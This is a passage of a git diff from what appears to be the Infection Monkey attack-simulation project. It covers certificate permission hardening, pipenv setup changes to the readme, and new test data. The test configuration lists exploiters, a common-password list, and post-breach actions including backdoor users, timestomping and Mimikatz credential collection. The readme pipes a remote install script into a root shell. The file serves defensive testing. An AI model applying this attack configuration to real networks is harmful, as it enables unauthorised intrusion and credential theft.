+++ b/monkey/monkey_island/linux/create_certificate.sh
@@ -17,12 +17,20 @@ if [ ! -f /tmp/foo.txt ]; then # If the file already exists, assume that the co
CREATED_RND_FILE=true
fi
+umask 377
+
echo "Generating key in $server_root/server.key..."
openssl genrsa -out "$server_root"/server.key 2048
+chmod 600 "$server_root"/server.key
+
echo "Generating csr in $server_root/server.csr..."
openssl req -new -key "$server_root"/server.key -out "$server_root"/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com"
+chmod 600 "$server_root"/server.csr
+
echo "Generating certificate in $server_root/server.crt..."
openssl x509 -req -days 366 -in "$server_root"/server.csr -signkey "$server_root"/server.key -out "$server_root"/server.crt
+chmod 600 "$server_root"/server.crt
+
# Shove some new random data into the file to override the original seed we put in.
if [ "$CREATED_RND_FILE" = true ] ; then
diff --git a/monkey/monkey_island/linux/install_mongo.sh b/monkey/monkey_island/linux/install_mongo.sh
index 2bf2d43d4..825daaf5a 100755
--- a/monkey/monkey_island/linux/install_mongo.sh
+++ b/monkey/monkey_island/linux/install_mongo.sh
@@ -58,7 +58,6 @@ popd || {
}
mkdir -p "${MONGODB_DIR}"/bin
-mkdir -p "${MONGODB_DIR}"/db
cp "${TEMP_MONGO}"/mongodb-*/bin/mongod "${MONGODB_DIR}"/bin/mongod
cp "${TEMP_MONGO}"/mongodb-*/LICENSE-Community.txt "${MONGODB_DIR}"/
chmod a+x "${MONGODB_DIR}"/bin/mongod
diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh
deleted file mode 100644
index 2a5c45bbe..000000000
--- a/monkey/monkey_island/linux/run.sh
+++ /dev/null
@@ -1,16 +0,0 @@
-#!/bin/bash
-
-# Detecting command that calls python 3.7
-python_cmd=""
-if [[ $(python --version 2>&1) == *"Python 3.7"* ]]; then
- python_cmd="python"
-fi
-if [[ $(python37 --version 2>&1) == *"Python 3.7"* ]]; then
- python_cmd="python37"
-fi
-if [[ $(python3.7 --version 2>&1) == *"Python 3.7"* ]]; then
- python_cmd="python3.7"
-fi
-
-./monkey_island/bin/mongodb/bin/mongod --dbpath ./monkey_island/bin/mongodb/db &
-${python_cmd} ./monkey_island.py
diff --git a/monkey/monkey_island/main.py b/monkey/monkey_island/main.py
new file mode 100644
index 000000000..19cf07d9f
--- /dev/null
+++ b/monkey/monkey_island/main.py
@@ -0,0 +1,22 @@
+# This import patches other imports and needs to be first
+import monkey_island.setup.gevent_setup # noqa: F401 isort:skip
+
+from monkey_island.cc.server_utils.island_logger import setup_default_failsafe_logging
+
+
+def main():
+ # This is here in order to catch EVERYTHING, some functions are being called on
+ # imports, so the log init needs to be first.
+ try:
+ setup_default_failsafe_logging()
+ except Exception as ex:
+ print(f"Error configuring logging: {ex}")
+ exit(1)
+
+ from monkey_island.cc.server_setup import run_monkey_island # noqa: E402
+
+ run_monkey_island()
+
+
+if "__main__" == __name__:
+ main()
diff --git a/monkey/monkey_island/monkey_island.spec b/monkey/monkey_island/monkey_island.spec
index 59f95e34f..624d08ffa 100644
--- a/monkey/monkey_island/monkey_island.spec
+++ b/monkey/monkey_island/monkey_island.spec
@@ -3,7 +3,7 @@ import os
import platform
import sys
-__author__ = 'itay.mizeretz'
+
block_cipher = None
@@ -16,7 +16,7 @@ def main():
("../monkey_island/cc/services/attack/attack_data", "/monkey_island/cc/services/attack/attack_data")
]
- a = Analysis(['cc/main.py'],
+ a = Analysis(['main.py'],
pathex=['..'],
hiddenimports=get_hidden_imports(),
hookspath=[os.path.join(".", "pyinstaller_hooks")],
diff --git a/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py b/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py
index 260d703d5..785d6a36b 100644
--- a/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py
+++ b/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py
@@ -1,8 +1,9 @@
-# Workaround for packaging Monkey Island using PyInstaller. See https://github.com/oasis-open/cti-python-stix2/issues/218
+# Workaround for packaging Monkey Island using PyInstaller. See
+# https://github.com/oasis-open/cti-python-stix2/issues/218
import os
from PyInstaller.utils.hooks import get_module_file_attribute
-stix2_dir = os.path.dirname(get_module_file_attribute('stix2'))
-datas = [(stix2_dir, 'stix2')]
+stix2_dir = os.path.dirname(get_module_file_attribute("stix2"))
+datas = [(stix2_dir, "stix2")]
diff --git a/monkey/monkey_island/readme.md b/monkey/monkey_island/readme.md
index c16679b61..8de0a49a9 100644
--- a/monkey/monkey_island/readme.md
+++ b/monkey/monkey_island/readme.md
@@ -8,36 +8,51 @@
### On Windows
1. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation.
-2. Create folder "bin" under monkey\monkey_island
-3. Place portable version of Python 3.7.4
+
+1. Create folder "bin" under monkey\monkey_island
+
+1. Place portable version of Python 3.7.4
- Download and install from:
-4. Install Island's requirements
- - `python -m pip install -r monkey\monkey_island\requirements.txt`
-4. Setup mongodb (Use one of the following two options):
+
+1. Install pipx
+ - `pip install --user -U pipx`
+ - `pipx ensurepath`
+
+1. Install pipenv
+ - `pipx install pipenv`
+
+1. From the `monkey\monkey_island` directory, install python dependencies:
+ - `pipenv sync --dev`
+
+1. Setup mongodb (Use one of the following two options):
- Place portable version of mongodb
1. Download from:
2. Extract contents of bin folder to \monkey\monkey_island\bin\mongodb.
- 3. Create monkey_island\db folder.
OR
- Use already running instance of mongodb
1. Run 'set MONKEY_MONGO_URL="mongodb://:27017/monkeyisland"'. Replace '' with address of mongo server
-5. Place portable version of OpenSSL
+1. Place portable version of OpenSSL
- Download from:
- Extract contents to monkey_island\bin\openssl
-6. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017
+
+1. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017
- Download and install from:
-7. Generate SSL Certificate
+
+1. Generate SSL Certificate
- run `./windows/create_certificate.bat` when your current working directory is monkey_island
-8. Put Infection Monkey binaries inside monkey_island/cc/binaries (binaries can be found in releases on github or build from source)
+
+1. Put Infection Monkey binaries inside monkey_island/cc/binaries (binaries can be found in releases on github or build from source)
monkey-linux-64 - monkey binary for linux 64bit
monkey-linux-32 - monkey binary for linux 32bit
monkey-windows-32.exe - monkey binary for windows 32bit
monkey-windows-64.exe - monkey binary for windows 64bit
-9. Install npm
+
+1. Install npm
- Download and install from:
-10. Build Monkey Island frontend
+
+1. Build Monkey Island frontend
- cd to 'monkey_island\cc\ui'
- run 'npm update'
- run 'npm run dist'
@@ -48,36 +63,49 @@
### On Linux
+1. Set your current working directory to `monkey/`.
+
1. Get python 3.7 and pip if your linux distribution doesn't have it built in (following steps are for Ubuntu 16):
- `sudo add-apt-repository ppa:deadsnakes/ppa`
- `sudo apt-get update`
- - `sudo apt install python3.7 python3-pip python3.7-dev`
+ - `sudo apt install python3.7 python3-pip python3.7-dev python3.7-venv`
- `python3.7 -m pip install pip`
-2. Install required packages:
+
+1. Install pipx:
+ - `python3.7 -m pip install --user pipx`
+ - `python3.7 -m pipx ensurepath`
+ - `source ~/.profile`
+
+1. Install pipenv:
+ - `pipx install pipenv`
+
+1. Install required packages:
- `sudo apt-get install libffi-dev upx libssl-dev libc++1 openssl`
-3. Create the following directories in monkey island folder (execute from ./monkey):
+
+1. Install the Monkey Island python dependencies:
+ - `cd ./monkey_island`
+ - `pipenv sync --dev`
+ - `cd ..`
+
+1. Create the following directories in monkey island folder (execute from ./monkey):
- `mkdir -p ./monkey_island/bin/mongodb`
- - `mkdir -p ./monkey_island/db`
- `mkdir -p ./monkey_island/cc/binaries`
-4. Install the packages from monkey_island/requirements.txt:
- - `sudo python3.7 -m pip install -r ./monkey_island/requirements.txt`
+1. Put monkey binaries in /monkey_island/cc/binaries (binaries can be found in releases on github).
-5. Put monkey binaries in /monkey_island/cc/binaries (binaries can be found in releases on github).
-
monkey-linux-64 - monkey binary for linux 64bit
-
+
monkey-linux-32 - monkey binary for linux 32bit
-
+
monkey-windows-32.exe - monkey binary for windows 32bit
-
+
monkey-windows-64.exe - monkey binary for windows 64bit
-
+
Also, if you're going to run monkeys on local machine execute:
- `chmod 755 ./monkey_island/cc/binaries/monkey-linux-64`
- `chmod 755 ./monkey_island/cc/binaries/monkey-linux-32`
-6. Setup MongoDB (Use one of the two following options):
+1. Setup MongoDB (Use one of the two following options):
- Download MongoDB and extract it to monkey/monkey_island/bin/mongodb:
1. Run `./monkey_island/linux/install_mongo.sh ./monkey_island/bin/mongodb`. This will download and extract the relevant mongoDB for your OS.
@@ -85,17 +113,17 @@
- Use already running instance of mongodb
1. Run `set MONKEY_MONGO_URL="mongodb://:27017/monkeyisland"`. Replace '' with address of mongo server
-7. Generate SSL Certificate:
+1. Generate SSL Certificate:
- `cd ./monkey_island`
- `chmod 755 ./linux/create_certificate.sh`
- `./linux/create_certificate.sh`
-8. Install npm and node by running:
+1. Install npm and node by running:
- `sudo apt-get install curl`
- `curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -`
- `sudo apt-get install -y nodejs`
-9. Build Monkey Island frontend
+1. Build Monkey Island frontend
- cd to 'monkey_island/cc/ui'
- `npm install sass-loader node-sass webpack --save-dev`
- `npm update`
@@ -103,4 +131,20 @@
#### How to run
-1. When your current working directory is monkey, run `chmod 755 ./monkey_island/linux/run.sh` followed by `./monkey_island/linux/run.sh` (located under /linux)
+1. From the `monkey` directory, run `python3.7 ./monkey_island.py`
+
+
+#### Troubleshooting
+
+When committing your changes for the first time, you may encounter some errors thrown by the pre-commit hooks. This is most likely because some python dependencies are missing from your system.
+To resolve this, use `pipenv` to create a `requirements.txt` for both the `infection_monkey/` and `monkey_island/` requirements and install it with `pip`.
+
+ - `cd [code location]/infection_monkey`
+ - `python3.7 -m pipenv lock -r --dev > requirements.txt`
+ - `python3.7 -m pip install -r requirements.txt`
+
+ and
+
+ - `cd [code location]/monkey_island`
+ - `python3.7 -m pipenv lock -r --dev > requirements.txt`
+ - `python3.7 -m pip install -r requirements.txt`
diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt
deleted file mode 100644
index b5be47a88..000000000
--- a/monkey/monkey_island/requirements.txt
+++ /dev/null
@@ -1,31 +0,0 @@
-Flask-JWT-Extended==3.24.1
-Flask-Pymongo>=2.3.0
-Flask-Restful>=0.3.8
-PyInstaller==3.6
-awscli==1.18.131
-boto3==1.14.54
-botocore==1.17.54
-cffi>=1.8,!=1.11.3
-dpath>=2.0
-flask>=1.1
-gevent>=20.9.0
-ipaddress>=1.0.23
-jsonschema==3.2.0
-mongoengine==0.20
-mongomock==3.19.0
-netifaces>=0.10.9
-pycryptodome==3.9.8
-pytest>=5.4
-python-dateutil>=2.1,<3.0.0
-requests>=2.24
-requests-mock==1.8.0
-ring>=0.7.3
-stix2>=2.0.2
-six>=1.13.0
-tqdm>=4.47
-virtualenv>=20.0.26
-werkzeug>=1.0.1
-wheel>=0.34.2
-git+https://github.com/guardicode/ScoutSuite
-
-pyjwt==1.7 # not directly required, pinned by Snyk to avoid a vulnerability
diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py
deleted file mode 100644
index 61212e734..000000000
--- a/monkey/monkey_island/scripts/island_password_hasher.py
+++ /dev/null
@@ -1,26 +0,0 @@
-"""
-Utility script for running a string through SHA3_512 hash.
-Used for Monkey Island password hash, see
-https://github.com/guardicore/monkey/wiki/Enabling-Monkey-Island-Password-Protection
-for more details.
-"""
-
-import argparse
-
-# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but
-# is maintained.
-from Crypto.Hash import SHA3_512 # noqa: DUO133 # nosec: B413
-
-
-def main():
- parser = argparse.ArgumentParser()
- parser.add_argument("string_to_sha", help="The string to do sha for")
- args = parser.parse_args()
-
- h = SHA3_512.new()
- h.update(args.string_to_sha)
- print(h.hexdigest())
-
-
-if __name__ == '__main__':
- main()
diff --git a/monkey/monkey_island/setup/__init__.py b/monkey/monkey_island/setup/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/setup/gevent_setup.py b/monkey/monkey_island/setup/gevent_setup.py
new file mode 100644
index 000000000..9fa2b47f9
--- /dev/null
+++ b/monkey/monkey_island/setup/gevent_setup.py
@@ -0,0 +1,6 @@
+from gevent import monkey as gevent_monkey
+
+# We need to monkeypatch before any other imports to
+# make standard libraries compatible with gevent.
+# http://www.gevent.org/api/gevent.monkey.html
+gevent_monkey.patch_all()
diff --git a/monkey/monkey_island/windows/clear_db.bat b/monkey/monkey_island/windows/clear_db.bat
deleted file mode 100644
index 8597f3d32..000000000
--- a/monkey/monkey_island/windows/clear_db.bat
+++ /dev/null
@@ -1,4 +0,0 @@
-@echo Are you sure? (Press Any Key)
-@pause
-@rmdir /s /q db
-@mkdir db
\ No newline at end of file
diff --git a/monkey/monkey_island/windows/create_certificate.bat b/monkey/monkey_island/windows/create_certificate.bat
index 645c6fa25..8f4d62dbe 100644
--- a/monkey/monkey_island/windows/create_certificate.bat
+++ b/monkey/monkey_island/windows/create_certificate.bat
@@ -16,3 +16,17 @@ copy "%mydir%windows\openssl.cfg" "%mydir%bin\openssl\openssl.cfg"
"%mydir%bin\openssl\openssl.exe" genrsa -out "%mydir%cc\server.key" 1024
"%mydir%bin\openssl\openssl.exe" req -new -config "%mydir%bin\openssl\openssl.cfg" -key "%mydir%cc\server.key" -out "%mydir%cc\server.csr" -subj "/OU=Monkey Department/CN=monkey.com"
"%mydir%bin\openssl\openssl.exe" x509 -req -days 366 -in "%mydir%cc\server.csr" -signkey "%mydir%cc\server.key" -out "%mydir%cc\server.crt"
+
+
+:: Change file permissions
+SET adminsIdentity="BUILTIN\Administrators"
+FOR /f "delims=''" %%O IN ('whoami') DO SET ownIdentity=%%O
+
+FOR %%F IN ("%mydir%cc\server.key", "%mydir%cc\server.csr", "%mydir%cc\server.crt") DO (
+
+ :: Remove all others and add admins rule (with full control)
+ echo y| cacls %%F /p %adminsIdentity%:F
+
+ :: Add user rule (with read)
+ echo y| cacls %%F /e /p "%ownIdentity%":R
+)
diff --git a/monkey/monkey_island/windows/run_mongodb.bat b/monkey/monkey_island/windows/run_mongodb.bat
deleted file mode 100644
index 106b5f00a..000000000
--- a/monkey/monkey_island/windows/run_mongodb.bat
+++ /dev/null
@@ -1,3 +0,0 @@
-REM - Runs MongoDB Server -
-@title MongoDB
-@bin\mongodb\mongod.exe --dbpath db --bind_ip 127.0.0.1
\ No newline at end of file
diff --git a/monkey/monkey_island/windows/run_server.bat b/monkey/monkey_island/windows/run_server.bat
index ab2ad274c..5e5331a2e 100644
--- a/monkey/monkey_island/windows/run_server.bat
+++ b/monkey/monkey_island/windows/run_server.bat
@@ -1,5 +1,3 @@
REM - Runs MongoDB Server & Monkey Island Server using built pyinstaller EXE -
-if not exist db mkdir db
-start windows\run_mongodb.bat
start windows\run_cc_exe.bat
-start https://localhost:5000
\ No newline at end of file
+start https://localhost:5000
diff --git a/monkey/monkey_island/windows/run_server_py.bat b/monkey/monkey_island/windows/run_server_py.bat
index 07a587f49..a727211ea 100644
--- a/monkey/monkey_island/windows/run_server_py.bat
+++ b/monkey/monkey_island/windows/run_server_py.bat
@@ -1,5 +1,3 @@
REM - Runs MongoDB Server & Monkey Island Server using python -
-if not exist db mkdir db
-start windows\run_mongodb.bat
-start windows\run_cc.bat
-start https://localhost:5000
\ No newline at end of file
+pipenv run windows\run_cc.bat
+start https://localhost:5000
diff --git a/monkey/pytest.ini b/monkey/pytest.ini
deleted file mode 100644
index 9b1766fc2..000000000
--- a/monkey/pytest.ini
+++ /dev/null
@@ -1,7 +0,0 @@
-[pytest]
-log_cli = 1
-log_cli_level = DEBUG
-log_cli_format = %(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s
-log_cli_date_format=%H:%M:%S
-addopts = -v --capture=sys --ignore=common/cloud/scoutsuite
-norecursedirs = node_modules dist
diff --git a/monkey/tests/__init__.py b/monkey/tests/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/island_logger_default_config.json b/monkey/tests/data_for_tests/logger_config.json
similarity index 95%
rename from monkey/monkey_island/cc/island_logger_default_config.json
rename to monkey/tests/data_for_tests/logger_config.json
index 522177cda..b3ad82641 100644
--- a/monkey/monkey_island/cc/island_logger_default_config.json
+++ b/monkey/tests/data_for_tests/logger_config.json
@@ -17,7 +17,7 @@
"class": "logging.handlers.RotatingFileHandler",
"level": "INFO",
"formatter": "simple",
- "filename": "info.log",
+ "filename": "~/info.log",
"maxBytes": 10485760,
"backupCount": 20,
"encoding": "utf8"
@@ -30,4 +30,4 @@
"info_file_handler"
]
}
-}
\ No newline at end of file
+}
diff --git a/monkey/tests/data_for_tests/mongo_key.bin b/monkey/tests/data_for_tests/mongo_key.bin
new file mode 100644
index 000000000..6b8091efb
--- /dev/null
+++ b/monkey/tests/data_for_tests/mongo_key.bin
@@ -0,0 +1,2 @@
++
RO
+)ꝞT|RS&C
\ No newline at end of file
diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json
new file mode 100644
index 000000000..86a43f0fc
--- /dev/null
+++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json
@@ -0,0 +1,209 @@
+{
+ "basic": {
+ "exploiters": {
+ "exploiter_classes": [
+ "SmbExploiter",
+ "WmiExploiter",
+ "SSHExploiter",
+ "ShellShockExploiter",
+ "SambaCryExploiter",
+ "ElasticGroovyExploiter",
+ "Struts2Exploiter",
+ "WebLogicExploiter",
+ "HadoopExploiter",
+ "VSFTPDExploiter",
+ "MSSQLExploiter",
+ "DrupalExploiter"
+ ]
+ },
+ "credentials": {
+ "exploit_user_list": [
+ "Administrator",
+ "root",
+ "user"
+ ],
+ "exploit_password_list": [
+ "root",
+ "123456",
+ "password",
+ "123456789",
+ "qwerty",
+ "111111",
+ "iloveyou"
+ ]
+ }
+ },
+ "basic_network": {
+ "scope": {
+ "blocked_ips": [],
+ "local_network_scan": true,
+ "depth": 2,
+ "subnet_scan_list": []
+ },
+ "network_analysis": {
+ "inaccessible_subnets": []
+ }
+ },
+ "internal": {
+ "general": {
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
+ "keep_tunnel_open_time": 60,
+ "monkey_dir_name": "monkey_dir",
+ "started_on_island": false
+ },
+ "monkey": {
+ "victims_max_find": 100,
+ "victims_max_exploit": 100,
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ],
+ "self_delete_in_cleanup": true,
+ "use_file_logging": true,
+ "serialize_config": false,
+ "alive": true,
+ "aws_keys": {
+ "aws_access_key_id": "",
+ "aws_secret_access_key": "",
+ "aws_session_token": ""
+ }
+ },
+ "island_server": {
+ "command_servers": [
+ "192.168.1.37:5000",
+ "10.0.3.1:5000",
+ "172.17.0.1:5000"
+ ],
+ "current_server": "192.168.1.37:5000"
+ },
+ "network": {
+ "tcp_scanner": {
+ "HTTP_PORTS": [
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 7001,
+ 9200
+ ],
+ "tcp_target_ports": [
+ 22,
+ 2222,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 3306,
+ 7001,
+ 8088
+ ],
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 3000,
+ "tcp_scan_get_banner": true
+ },
+ "ping_scanner": {
+ "ping_scan_timeout": 1000
+ }
+ },
+ "classes": {
+ "finger_classes": [
+ "SMBFinger",
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "MySQLFinger",
+ "MSSQLFinger",
+ "ElasticFinger"
+ ]
+ },
+ "kill_file": {
+ "kill_file_path_windows": "%windir%\\monkey.not",
+ "kill_file_path_linux": "/var/run/monkey.not"
+ },
+ "dropper": {
+ "dropper_set_date": true,
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_try_move_first": true
+ },
+ "logging": {
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "send_log_to_server": true
+ },
+ "exploits": {
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [],
+ "exploit_ssh_keys": [],
+ "general": {
+ "skip_exploit_if_file_exist": false
+ },
+ "ms08_067": {
+ "ms08_067_exploit_attempts": 5,
+ "user_to_add": "Monkey_IUSER_SUPPORT"
+ },
+ "sambacry": {
+ "sambacry_trigger_timeout": 5,
+ "sambacry_folder_paths_to_guess": [
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home"
+ ],
+ "sambacry_shares_not_to_check": [
+ "IPC$",
+ "print$"
+ ]
+ }
+ },
+ "testing": {
+ "export_monkey_telems": false
+ }
+ },
+ "monkey": {
+ "post_breach": {
+ "custom_PBA_linux_cmd": "",
+ "custom_PBA_windows_cmd": "",
+ "PBA_windows_filename": "",
+ "PBA_linux_filename": "",
+ "post_breach_actions": [
+ "BackdoorUser",
+ "CommunicateAsNewUser",
+ "ModifyShellStartupFiles",
+ "HiddenFiles",
+ "TrapCommand",
+ "ChangeSetuidSetgid",
+ "ScheduleJobs",
+ "Timestomping",
+ "AccountDiscovery"
+ ]
+ },
+ "system_info": {
+ "system_info_collector_classes": [
+ "EnvironmentCollector",
+ "AwsCollector",
+ "HostnameCollector",
+ "ProcessListCollector",
+ "MimikatzCollector",
+ "AzureCollector"
+ ]
+ },
+ "persistent_scanning": {
+ "max_iterations": 1,
+ "timeout_between_iterations": 100,
+ "retry_failed_explotation": true
+ }
+ }
+ }
diff --git a/monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf b/monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf
new file mode 100644
index 000000000..1716e6bfb
Binary files /dev/null and b/monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf differ
diff --git a/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y b/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y
new file mode 100644
index 000000000..70a0a237a
--- /dev/null
+++ b/monkey/tests/data_for_tests/ransomware_targets/already_encrypted.txt.m0nk3y
@@ -0,0 +1 @@
+Monkey see, Monkey do.
diff --git a/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk b/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk
new file mode 100644
index 000000000..be9fbc9d7
--- /dev/null
+++ b/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk
@@ -0,0 +1 @@
+This is a shortcut.
diff --git a/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt b/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt
new file mode 100644
index 000000000..cd0875583
--- /dev/null
+++ b/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt
@@ -0,0 +1 @@
+Hello world!
diff --git a/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt b/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt
new file mode 100644
index 000000000..25008a376
--- /dev/null
+++ b/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt
@@ -0,0 +1,2 @@
+ABCDEFGHIJNLMNOPQRSTUVWXYZabcdefghijnlmnopqrstuvwxyz1234567890!@#$%^&*()
+The quick brown fox jumps over the lazy dog.
diff --git a/monkey/tests/data_for_tests/ransomware_targets/test_lib.dll b/monkey/tests/data_for_tests/ransomware_targets/test_lib.dll
new file mode 100644
index 000000000..a339b33c1
--- /dev/null
+++ b/monkey/tests/data_for_tests/ransomware_targets/test_lib.dll
@@ -0,0 +1 @@
+\tS,sּW#Aևi|ƶKl;5?<
9XĆ "Tsj-Z
\ No newline at end of file
diff --git a/monkey/tests/data_for_tests/server_configs/server_config_empty.json b/monkey/tests/data_for_tests/server_configs/server_config_empty.json
new file mode 100644
index 000000000..2c63c0851
--- /dev/null
+++ b/monkey/tests/data_for_tests/server_configs/server_config_empty.json
@@ -0,0 +1,2 @@
+{
+}
diff --git a/monkey/tests/data_for_tests/server_configs/server_config_init_only.json b/monkey/tests/data_for_tests/server_configs/server_config_init_only.json
new file mode 100644
index 000000000..25082b0b3
--- /dev/null
+++ b/monkey/tests/data_for_tests/server_configs/server_config_init_only.json
@@ -0,0 +1,4 @@
+{
+ "data_dir": "~/.monkey_island",
+ "log_level": "NOTICE"
+}
diff --git a/monkey/tests/data_for_tests/server_configs/server_config_no_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_no_credentials.json
new file mode 100644
index 000000000..31da48aa4
--- /dev/null
+++ b/monkey/tests/data_for_tests/server_configs/server_config_no_credentials.json
@@ -0,0 +1,9 @@
+{
+ "environment" : {
+ "server_config": "password",
+ "deployment": "develop"
+ },
+ "mongodb": {
+ "start_mongodb": true
+ }
+}
diff --git a/monkey/tests/data_for_tests/server_configs/server_config_partial_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_partial_credentials.json
new file mode 100644
index 000000000..e29d514cd
--- /dev/null
+++ b/monkey/tests/data_for_tests/server_configs/server_config_partial_credentials.json
@@ -0,0 +1,10 @@
+{
+ "environment" : {
+ "server_config": "password",
+ "deployment": "develop",
+ "user": "test"
+ },
+ "mongodb": {
+ "start_mongodb": true
+ }
+}
diff --git a/monkey/tests/data_for_tests/server_configs/server_config_standard_env.json b/monkey/tests/data_for_tests/server_configs/server_config_standard_env.json
new file mode 100644
index 000000000..9c3a9899f
--- /dev/null
+++ b/monkey/tests/data_for_tests/server_configs/server_config_standard_env.json
@@ -0,0 +1,9 @@
+{
+ "environment" : {
+ "server_config": "standard",
+ "deployment": "develop"
+ },
+ "mongodb": {
+ "start_mongodb": true
+ }
+}
diff --git a/monkey/tests/data_for_tests/server_configs/server_config_standard_with_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_standard_with_credentials.json
new file mode 100644
index 000000000..28d8653c8
--- /dev/null
+++ b/monkey/tests/data_for_tests/server_configs/server_config_standard_with_credentials.json
@@ -0,0 +1,12 @@
+{
+ "log_level": "NOTICE",
+ "environment" : {
+ "server_config": "standard",
+ "deployment": "develop",
+ "user": "test",
+ "password_hash": "abcdef"
+ },
+ "mongodb": {
+ "start_mongodb": true
+ }
+}
diff --git a/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json
new file mode 100644
index 000000000..2f75c48fb
--- /dev/null
+++ b/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json
@@ -0,0 +1,11 @@
+{
+ "environment" : {
+ "server_config": "password",
+ "deployment": "develop",
+ "user": "test",
+ "password_hash": "abcdef"
+ },
+ "mongodb": {
+ "start_mongodb": true
+ }
+}
diff --git a/monkey/tests/data_for_tests/stable_file.txt b/monkey/tests/data_for_tests/stable_file.txt
new file mode 100644
index 000000000..ffe82625b
--- /dev/null
+++ b/monkey/tests/data_for_tests/stable_file.txt
@@ -0,0 +1 @@
+Don't change me!
diff --git a/monkey/tests/data_for_tests/test_readme.txt b/monkey/tests/data_for_tests/test_readme.txt
new file mode 100644
index 000000000..8ab686eaf
--- /dev/null
+++ b/monkey/tests/data_for_tests/test_readme.txt
@@ -0,0 +1 @@
+Hello, World!
diff --git a/monkey/tests/monkey_island/utils.py b/monkey/tests/monkey_island/utils.py
new file mode 100644
index 000000000..dd781f85d
--- /dev/null
+++ b/monkey/tests/monkey_island/utils.py
@@ -0,0 +1,35 @@
+from monkey_island.cc.server_utils.file_utils import is_windows_os
+
+if is_windows_os():
+ import win32api
+ import win32security
+
+ FULL_CONTROL = 2032127
+ ACE_ACCESS_MODE_GRANT_ACCESS = win32security.GRANT_ACCESS
+ ACE_INHERIT_OBJECT_AND_CONTAINER = 3
+
+
+def _get_acl_and_sid_from_path(path: str):
+ sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName())
+ security_descriptor = win32security.GetNamedSecurityInfo(
+ path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION
+ )
+ acl = security_descriptor.GetSecurityDescriptorDacl()
+ return acl, sid
+
+
+def assert_windows_permissions(path: str):
+ acl, user_sid = _get_acl_and_sid_from_path(path)
+
+ assert acl.GetAceCount() == 1
+
+ ace = acl.GetExplicitEntriesFromAcl()[0]
+
+ ace_access_mode = ace["AccessMode"]
+ ace_permissions = ace["AccessPermissions"]
+ ace_inheritance = ace["Inheritance"]
+ ace_sid = ace["Trustee"]["Identifier"]
+
+ assert ace_sid == user_sid
+ assert ace_permissions == FULL_CONTROL and ace_access_mode == ACE_ACCESS_MODE_GRANT_ACCESS
+ assert ace_inheritance == ACE_INHERIT_OBJECT_AND_CONTAINER
diff --git a/monkey/monkey_island/cc/test_common/profiling/README.md b/monkey/tests/profiling/README.md
similarity index 76%
rename from monkey/monkey_island/cc/test_common/profiling/README.md
rename to monkey/tests/profiling/README.md
index d0cb92bfa..d22d2188c 100644
--- a/monkey/monkey_island/cc/test_common/profiling/README.md
+++ b/monkey/tests/profiling/README.md
@@ -1,9 +1,9 @@
# Profiling island
-To profile specific methods on island a `@profile(sort_args=['cumulative'], print_args=[100])`
-decorator can be used.
+To profile specific methods on island a `@profile(sort_args=['cumulative'], print_args=[100])`
+decorator can be used.
